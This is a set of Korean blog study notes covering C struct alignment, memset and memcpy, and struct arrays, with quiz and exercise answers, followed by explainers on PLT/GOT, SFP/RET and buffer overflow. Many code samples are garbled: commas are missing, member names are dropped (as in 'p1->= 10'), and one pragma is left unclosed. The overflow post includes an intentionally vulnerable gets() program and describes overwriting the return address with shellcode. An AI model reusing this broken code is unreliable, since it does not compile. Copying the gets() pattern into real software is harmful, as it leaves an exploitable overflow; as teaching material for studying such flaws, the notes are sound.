offsetof 매크로에 구조체와 멤버를 지정하면 구조체에 해당 멤버의 상대 위치가 반환된다. 첫 멤버의 위치는 0이고 4바이트 단위로 정렬하므로 seq의 위치는 4가 나온다.

51.2 구조체 정렬 크기 조절하기

각 컴파일러에서 제공하는 특별한 지시자를 사용하여 구조체 정렬 크기를 조절할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
 
#pragma pack(push, 1)   // 1바이트 크기로 정렬
struct PacketHeader {
    char flags;
    int seq;
};
#pragma pack(pop)       // 정렬 상태를 이전 상태(기본값)로 되돌림
 
int main()
{
    struct PacketHeader header;
 
    printf("%d\n"sizeof(header.flags));
    printf("%d\n"sizeof(header.seq));
    printf("%d\n"sizeof(header));
 
    return 0;
}
cs

구조체를 정의할 때 위 아래로 #pragma pack(push, 1)과 #pragma pack(pop)을 넣었다. pack을 1로 설정하면 1바이트 단위로 정렬하여 남는 공간 없이 자료형 크기 그대로 메모리에 올라간다. #pragma pack(push, 1)을 한 번 사용하면 이후 모든 구조체에 영향을 주므로 정렬 한 뒤 #pragma pack(pop)를 사용하여 설정을 이전 상태로 되돌린다. 만약gcc버전이 4.0미만이면 __attribute__((aligned(1), packed))를 사용한다.
offsetof로 멤버의 위치를 확인하면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stddef.h>
 
#pragma pack(push, 1)  
struct PacketHeader {
    char flags;
    int seq;
};
#pragma pack(pop
 
int main()
{
    printf("%d\n", offsetof(struct PacketHeader, flags));
    printf("%d\n", offsetof(struct PacketHeader, seq));
 
    return 0;
}
cs

구조체를 1바이트 단위로 정렬해서 seq의 상대 위치는 1이 나온다. char flags 바로 뒤에 int seq가 오기 때문이다. 구조체의 바이트 크기는 1 이외에도 2, 4, 8, 16등으로 지정할 수 있다.

51.3 퀴즈

정답은 b,d,e 이다.

정답은 e 이다.

정답은 d이다.

정답은 e이다.

51.4 연습문제 : 압축 헤더 크기 구하기

8이 나오려면 구조체의 전체 크기를 구해야 하므로 정답은 sizeof(header)이다.

51.5 연습문제 : 패킷 크기 조절하기

6이 출력되려면 legth의 자료형 크기가 2가 되어야 하므로 정답은 short이다.

51.5 심사문제 : 암호화 헤더 크기 구하기

12가 출력되야 하므로 가장 큰 자료형의 크기는 4가 되도록 하고, 구조체 멤버를 두개 만들면 된다.

int num1;
int num2;

51.7 심사문제 : 패킷 크기 조절하기

3이 출력되야 하므로 구조체 정렬 크기를 자료형에 맞게 조절하고, 1바이트인 char 자료형, 2 바이트인 short 자료형으로 멤버를 하나씩 만들면 된다.

#pragma pack(push,1)
struct Packet{
    char c;
    short s;
};
#pragma pack(pop)

Unit 52. 구조체와 메모리 활용하기

구조체도 변수를 선언하거나 메모리를 할당하게 되면 메모리 공간을 차지하므로 메모리 관련 함수를 사용할 수 있다.

52.1 구조체와 메모리를 간단하게 0으로 설정하기

구조체의 모든 멤버를 0으로 만들기 위해 각 멤버에 접근하여 0을 저장하는 것은 매우 번거로운 작업이다. 따라서 {0, }과 같이 중괄호를 사용하여 모두 0으로 초기화 할 수 있다. 이 방법은 변수에만 사용할 수 있고, malloc 함수로 할당한 메모리에는 사용할 수 없다.

struct 구조체이름 변수이름 = { 0, };

구조체 변수나 메모리의 내용에 한꺼번에 값을 설정하려면 다음과 같이 memset함수를 사용하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>
 
struct Point2D{
    int x;
    int y;
};
 
int main()
{
    struct Point2D p1;
    
    memset(&p1, 0sizeof(struct Point2D));
    
    printf("%d %d\n", p1.x, p1.y);
    return 0;
}
cs

memset함수로 구조체 변수의 값을 설정할 때는 &p1과 같이 주소연산자 &을 사용하야 메모리 주소를 구해서 넣어줘야 한다. 그리고 설정할 값과 크기를 넣어준다. 위 코드에서는 구조체의 내용을 0으로 설정하고 Point2D구조체 크기만큼 설정했다. 그리고 각 멤버를 출력해보면 모두 설정한 0이 나온다.
다음과 같이 malloc함수로 설정한 동적 메모리에도 값을 설정할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
struct Point2D{
    int x;
    int y;
};
 
int main()
{
    struct Point2D *p1 = malloc(sizeof(struct Point2D));
    
    memset(p1, 0sizeof(struct Point2D));
 
    printf("%d %d\n", p1->x, p1->y);
 
    free(p1);
    return 0;
}
cs

memset 함수로 메모리를 설정할 때 구조체가 포인터 변수이기 때문에 &을 사용하지 않고 그대로 넣어준다. 설정할 값과 크기를 넣어주고 각 멤버를 출력해보면 모두 0이 나온다.

52.2 구조체와 메모리 복사하기

내용이 같은 구조체를 만들거나 이미 생성하여 값을 저장한 구조체나 메모리를 다른 곳에 복사할 경우 memcpy 함수를 사용하여 메모리의 내용을 다른 곳에 복사할 수 있다. string.h 헤더파일에 선언되어 있다. memcpy(목적지포인터, 원본포인터, 크기); 의 형태로 사용한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <string.h>
 
struct Point2D{
    int x;
    int y;
};
 
int main()
{
    struct Point2D p1;
    struct Point2D p2;
 
    p1.x = 10;
    p1.y = 20;
 
    memcpy(&p2, &p1, sizeof(struct Point2D));
 
    printf("%d %d\n", p2.x, p2.y);
    return 0;
}
cs

구조체 변수 p1, p2를 선언하고 p1의 멤버에만 값을 저장한 상태에서 memcpy 함수를 사용하여 p1의 내용을 p2에 복사하였다. memcpy함수를 사용할 때는 구조체 변수에 주소 연산자를 사용하여 변수의 메모리 주소를 넣고, 크기는 구조체의 크기를 넣어준다. 목적지 포인터와 원본포인터는 앞쪽이 목적지 포인터이고, 뒷쪽이 원본 포인터이다. p2의 각 멤버를 출력해보면 p1의 멤버에 저장했던 값이 나온다.
다음은 malloc함수로 할당한 동적 메모리끼리 복사하는 방법이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
struct Point2D{
    int x;
    int y;
};
 
int main()
{
    struct Point2D *p1 = malloc(sizeof(struct Point2D));
    struct Point2D *p2 = malloc(sizeof(struct Point2D));
 
    p1->= 10;
    p1->= 20;
    memcpy(p2, p1, sizeof(struct Point2D));
 
    printf("%d %d\n", p2->x, p2->y);
 
    free(p2);
    free(p1);
    return 0;
}
cs

구조체 포인터 p1, p2를 선언한 뒤 메모리를 할당하여 p1의 멤버에 값을 저장하고 , p2에는 memcpy함수를 사용하여 p1의 내용을 p2에 복사했다. p1과 p2는 메모리를 담고 있는 포인터이므로 주소연산자는 사용하지 않는다.

또한 구조체 변수에서 동적메모리로, 동적메모리에서 구조체 변수로도 내용을 복사할 수 있다.

52.3 퀴즈

정답은 b이다.

정답은 a이다.

52.4 연습문제 : 2차원 좌표 초기화하기

정답은 다음과 같다.

1. #include <string.h>

2. &p, 0, sizeof(struct Point2D)

3. ptr, 0, sizeof(struct Point2D)

52.5 연습문제 : 2차원 좌표 복제하기

p1의 멤버에만 값을 저장했기 때문에 p1의 값을 p2복제해야 하는데 p2는 메모리 주소이므로 정답은 p2, &p1, sizeof(struct Point2D) 이다.

52.6 심사문제 : 인적 정보 삭제하기

출력했을 때 아무 정보도 나오지 않도록 하려면 모든 멤버를 0으로 초기화해야 하므로 정답은 &p1, 0, sizeof(struct Person)이다.

52.7 심사문제 : 인적 정보 복제하기

p2는 구조체 변수이므로 주소 연산자를 사용해서 p1의 값을 복사해와야 한다. 정답은 &p2, p1, sizeof(struct Person) 이다.

Unit 53. 구조체 배열 사용하기

구조체 변수를 여러개 만들어야 할 경우 구조체 배열을 선언하여 여러개의 구조체 변수를 한 번에 만들 수 있다.

53.1 구조체 배열 선언하기

구조체 배열은 변수 이름 뒤에 [](대괄호)를 붙인 뒤 크기를 설정한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
 
struct Point2D{
    int x;
    int y;
};
 
int main()
{
    struct Point2D p[3];
 
    p[0].x = 10;
    p[0].y = 20;
    p[1].x = 30;
    p[1].y = 40;
    p[2].x = 50;
    p[2].y = 60;
 
    printf("%d %d\n", p[0].x, p[0].y);
    printf("%d %d\n", p[1].x, p[1].y);
    printf("%d %d\n", p[2].x, p[2].y);
    return 0;
}
cs

구조체 변수를 선언할 때 대괄호 안에 크기를 넣어주면 배열로 선언할 수 있다. 배열에서 각 요소에 접근하려면 배열 뒤에 대괄호를 사용하며 대괄호 안에 인덱스를 지정해주면 된다. 이 상태에서 멤버에 접근하려면 점을 사용한다. p[0].x 구조체 배열의 첫 번째 요소의 멤버 x에 접근한다는 뜻이다.
구조체 배열을 선언하는 동시에 초기화하려면 다음과 같이 중괄호 안에 중괄호를 사용하면 된다.

  • struct구조체이름 변수이름[크기] = { { .멤버이름1 = 값1, .멤버이름2 = 값2 }, { .멤버이름1 = 값3, .멤버이름2 = 값4 } };
  • struct구조체이름 변수이름[크기] = { { 값1, 값2 }, { 값3, 값4 } };

모든 요소의 멤버를 0으로 초기화 하여면 구조체 배열을 선언하며 {0, }을 할당하면 된다.

53.2 구조체 포인터 배열 선언하기

구조체 포인터 배열을 만들고 malloc함수로 각 요소에 메모리를 할당하면 요소마다 메모리를 할당할 수 있다. 구조체 포인터 배열은 포인터 변수 이름 뒤에 대괄호를 붙인 뒤 크기를 설정한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
 
struct Point2D{
    int x;
    int y;
};
 
int main()
{
    struct Point2D *p[3];
 
    for(int i  = 0; i < sizeof(p) / sizeof(struct Point2d *); i++)
    {
        p[i] = malloc(sizeof(struct Point2D));
    }
 
    p[0]->= 10;
    p[0]->= 20;
    p[1]->= 30;
    p[1]->= 40;
    p[2]->= 50;
    p[2]->= 60;
 
    printf("%d %d\n", p[0]->x, p[0]->y);
    printf("%d %d\n", p[1]->x, p[1]->y);
    printf("%d %d\n", p[2]->x, p[2]->y);
 
    for(int i  = 0; i < sizeof(p) / sizeof(struct Point2d *); i++)
    {
        free(p[i]);
    }
    return 0;
}
cs

구조체 포인터를 선언하고 사용하려면 메모리를 할당해야 한다. 배열의 요소 개수 만큼 반복하면서 각 요소에 구조체 크기 만큼 메모리를 할당해야 한다. 구조체 포인터 배열에는 포인터가 들어있으므로 요소 개수를 구하려면 구조체 포인터 배열의 전체 크기에서 구조체 포인터의 크기로 나눠주면 된다. sizeof(struct Point2D *)는 구조체 포인터의 크기이다. 멤버에 접근할 때는 배열안에 들어있는 요소가 포인터이므로 화살표 연산자를 사용하여 멤버에 접근해야 한다. 구조체 배열의 사용이 끝나면 배열 크기만큼 반복하며 각 요소에 할당된 동적 메모리를 해제해야 한다.

53.3 퀴즈

정답은 b이다.

정답은 b이다.

정답은 d이다.

정답은 f이다.

53.4 연습문제 : 2차원 좌표 출력하기

정답은 다음 코드와 같다.

// 1
struct Point2D p[3];

// 2
for(int i = 0; i < sizeof(p) / sizeof(struct Point2D); i++)
{
	printf("%d %d\n", p[i].x, p[i].y);
}

구조체 배열의 모든 요소를 출력할 때 0번 인덱스 부터 마지막 인덱스까지 for 문을 이용하여  반복하여 출력할 수 있다.

 

53.5 연습문제 : 인적 정보를 초기화하기

정답은 다음 코드와 같다.

// 1.
struct Person *p[3000];

// 2.
for(int i = 0; i < sizeof(p) / sizeof(struct Person *); i++)
{
	p[i] = malloc(sizeof(struct Person));
    memset(p[i], 0, sizeof(struct Person));
}

구조체 포인터 배열이므로 첫번째 인덱스 부터 마지막 인덱스까지 메모리를 할당해주고, 메모리를 0으로 초기화 해야한다.

 

 53.6 심사문제 : 선의 길이 구하기

정답은 다음 코드와 같다.

for(int i=0; i<(sizeof(p) / sizeof(struct Point2D))-1; i++)
{
    double len_x = p[i+1].x - p[i].x;
    double len_y = p[i+1].y - p[i].y;
    length += sqrt((len_x)*(len_x) + (len_y)*(len_y));
}

두 점 사이의 거리를 구하는 공식을 이용해서 거리를 구했고, math.h 헤더의 sqrt 함수를 이용하여 제곱근을 구했다.

 

53.7 심사문제 : 나이가 가장 많은 사람 찾기

정답은 다음 코드와 같다.

int big_age = 0;

for (int i = 0; i < sizeof(p) / sizeof(struct Person *); i++)
{
    p[i] = malloc(sizeof(struct Person));
    scanf("%s %d", p[i]->name, &p[i]->age);
    if(p[i]->age >= p[big_age]->age)
    {
        big_age = i;
    }
}

printf("%s\n", p[big_age]->name);

가장 큰 나이의 인덱스를 저장할 변수를 만들고, 배열 길이만큼 반복하면서 메모리를 할당하고, 할당한 메모리에 값을 입력받는다. 입력받은 나이가 저장되어있던 인덱스의 나이보다 크면 현재 인덱스를 저장한다. 반복문이 끝나면 저장된 인덱스에 해당한는 이름을 출력한다.

'Project H4C Study Group' 카테고리의 다른 글

[Project H4C] FTZ (1 ~ 7(문제오류))  (0) 2021.03.24
[Project H4C] C언어 코딩도장(14)  (0) 2021.03.23
[Project H4C] PLT, GOT  (0) 2021.03.21
[Project H4C] SFP, RET  (0) 2021.03.21
[Project H4C] Buffer Overflow  (0) 2021.03.21

이 글은 아래의 블로그 원문을 참조하여 공부한 글 입니다.

bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

 

PLT와 GOT 자세히 알기 1

Dynamic Linking 과정을 추적해 PLT와 GOT를 이해해보자 :) 시스템 해킹을 공부하시는 분들이라면 PLT와 GOT에 대해 알고 있을 것입니다. 이제 막 시스템 해킹 공부를 시작한 분들도 한 번 쯤 들어보셨을

bpsecblog.wordpress.com

 

PLT는 Procedure Linkage Table의 약자로 외부 프로시저를 연결해주는 테이블이다. PLT를 통해 다른 라이브러리에 있는 프로시저를 호출하여 사용할 수 있다.

GOT은 Global Offset Table의 약자로 PLT가 참조하는 테이블로 프로시저들의 주소가 들어 있다.

함수를 호출한다는 것은 PLT를 호출한다는 의미이며 GOT으로 점프한다.

GOT에는 함수의 실제 주소가 있다. GOT에 실제 함수 주소가 있다면 GOT을 바로 호출하지 왜 PLT를 거치는 것일까?

이 이유를 알기 위해서는 링커(Linker)를 알아야 한다.

printf라는 함수를 사용하려면 소스 안에는 printf를 호출하는 코드가 있고, include 한 헤더파일 안에는 printf에 대한 선언이 있다. 

소스 파일을 실행파일로 만들기 위해서는 컴파일 과정을 거쳐야 한다. 컴파일을 하면 오브젝트 파일이 생성된다. 오브젝트 파일은 printf 함수의 구현 코드를 모르기 때문에(선언이 다른 헤더 파일에서 되어있기 때문) 실행은 할 수 없다. 오브젝트 파일을 실행 가능하게 만드려면 printf의 실행 코드를 찾아서 오브젝트 파일과 연결시켜야 한다. printf의 실행코드는 printf의 구현 코드를 컴파일한 오브젝트 파일이며 이러한 오브젝트 파일들이 모여있는것을 라이브러리라 한다. 이렇게 소스 코드를 컴파일한 오브젝트 파일과 필요한 라이브러리를 연결시키는 작업을 링킹 이라고 한다.

링크를 하는 방법에는 Static과 Dynamic 방식이 있다. Static Link 방식은 파일 생성시 라이브러리 내용을 포함한 실행 파일을 만든다. gcc에서 -static 옵션을 적용하여 컴파일하면 Static Link 방식으로 컴파일 할 수 있다. Static Link 방식은 실행파일 안에 모든 코드가 포함되서 라이브러리 연동 과정이 따로 필요 없고, 필요한 라이브러리를 따로 관리 하지 않아도 되는 장점이 있지만, 파일 크기가 커지고, 동일한 라이브러리를 사용하더라도 해당 하이브러리를 사용하는 모든 프로그램들의 라이브러리의 내용을 모두 매핑시켜야 한다는 단점이 있다.

Dynamic Link방식은 공유 라이브러리를 사용하여 라이브러리 하나를 메모리 공간에 매핑하고 여러 프로그램에서 공유하여 사용한다. 실행파일안에 라이브러리 코드가 없으므로 파일 크기가 비교적 작아지고, 실행시에도 적은 메모리를 차지한다. 또한 라이브러리를 따로 업데이트 할 수 있기 때문에 유연한 방식이다. 하지만 실행파일이 라이브러리에 의존해야 하기 때문에 라이브러리가 없으면 실행할 수 없다.

링크 방식은 file 명령어를 통해 확인할 수 있다.

Dynamic Link 방식으로 컴파일 할 때 PLT와 GOT를 사용하게 된다. Dynamic Link 방식으로 컴파일 하면 라이브러리가 프로그램 외부에 있어 함수의 주소를 알아오는 과정이 필요하다. 프로그램이 만들어지면 함수를 호출할 때 PLT를 참조한다. PLT는 GOT으로 점프하고, GOT에는 실제 함수의 주소가 쓰여 있어 이 함수를 호출한다.

이때 첫 호출이냐 아니냐에 따라 동작이 조금 달라진다.

두 번째 호출일 경우 GOT에 실제 함수의 주소가 쓰여있지만, 첫 번째 호출이면 GOT에 실제 함수의 주소가 쓰여있지 않다. 첫 번째 호출시는 Linker가 dl_resolve라는 함수를 사용하여 필요한 함수의 주소를 알아오고 GOT에 그 주소를 써준 후 해당 함수를 호출한다.

'Project H4C Study Group' 카테고리의 다른 글

[Project H4C] C언어 코딩도장(14)  (0) 2021.03.23
[Project H4C] C언어 코딩도장(13)  (0) 2021.03.23
[Project H4C] SFP, RET  (0) 2021.03.21
[Project H4C] Buffer Overflow  (0) 2021.03.21
[Project H4C] pwntools  (0) 2021.03.20

스택의 기본적인 메모리 구조는 다음과 같다. 

buffer[n]
SFP
RET

SFP는 Saved Frame Pointer 의 약자로 실행될 때 이전의 EBP값을 가지고 있다. EBP는 현재 스택의 가장 바닥을 가리키는 포인터로 새로운 함수가 호출되면 EBP 레지스터 값이 지금까지 사용하던 스택 꼭대기의 위에 위치하게 되며, 새로운 스택이 시작된다. EBP는 새로운 함수가 호출되거나 현재 실행중인 함수가 종료되어 리턴될 때 마다 값이 달라진다. 현재 함수가 끝나면 이전 함수의 EBP가 필요하게 되는데, 이 이전 함수의 EBP를 저장하는 공간이 SFP이다. 

SFP는 32bit에서는 4byte, 64bit에서는 8byte이다. 

 

RET는 pop eip 와 jmp eip를 수행하는데 다음 수행할 명령을 eip에 넣고 그 주소로 가서 실행하는 것이다. 따라서 버퍼 오버플로우에서 RET에 함수 주소나 쉘코드를 덮어쓰면 그 함수나 코드가 실행되는 것이다. 

RET도 32bit에서는 4byte, 64bit에서는 8byte이다.

'Project H4C Study Group' 카테고리의 다른 글

[Project H4C] C언어 코딩도장(13)  (0) 2021.03.23
[Project H4C] PLT, GOT  (0) 2021.03.21
[Project H4C] Buffer Overflow  (0) 2021.03.21
[Project H4C] pwntools  (0) 2021.03.20
[Project H4C][dreamhack] basic_exploitation_002  (0) 2021.03.19

버퍼는 지정된 크기의 메모리 공간이라는 뜻이다.

버퍼 오버플로우는 버퍼가 지정한 크기의 데이터 보다 더 많은 값이 저장되서 버퍼가 넘치는 취약점이다.

발생하는 위치에 따라 스택 버퍼 오버플로우, 힙 오버플로우 같이 구분된다.

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
 
int main(void) {
    char buf[16];
    gets(buf);
    
    printf("%s", buf);
}
cs

위 코드는 16바이트 버퍼를 스택에 할당하고 있고, gets함수를 통해 입력값을 할당한 스택에 저장하고 있다. 이때 gets 함수에서 입력값에 대해 제한을 하고 있지 않기 때문에 16바이트 이상의 값이 들어가게 되면 스택 버퍼 오버플로우가 발생하게 된다.

할당된 크기 이상의 입력값으로 버퍼를 오버플로우 시켜 프로그램의 ret에 쉘 코드를 덮어쓰거나(NX 보호기법이 적용되지 않은 경우), 다른 함수의 주소를 덮어써서 리턴하면서 버퍼 오버플로우 취약점을 이용할 수 있다.

 

'Project H4C Study Group' 카테고리의 다른 글

[Project H4C] PLT, GOT  (0) 2021.03.21
[Project H4C] SFP, RET  (0) 2021.03.21
[Project H4C] pwntools  (0) 2021.03.20
[Project H4C][dreamhack] basic_exploitation_002  (0) 2021.03.19
[Project H4C][dreamhack] basic_exploitation_001  (0) 2021.03.19

+ Recent posts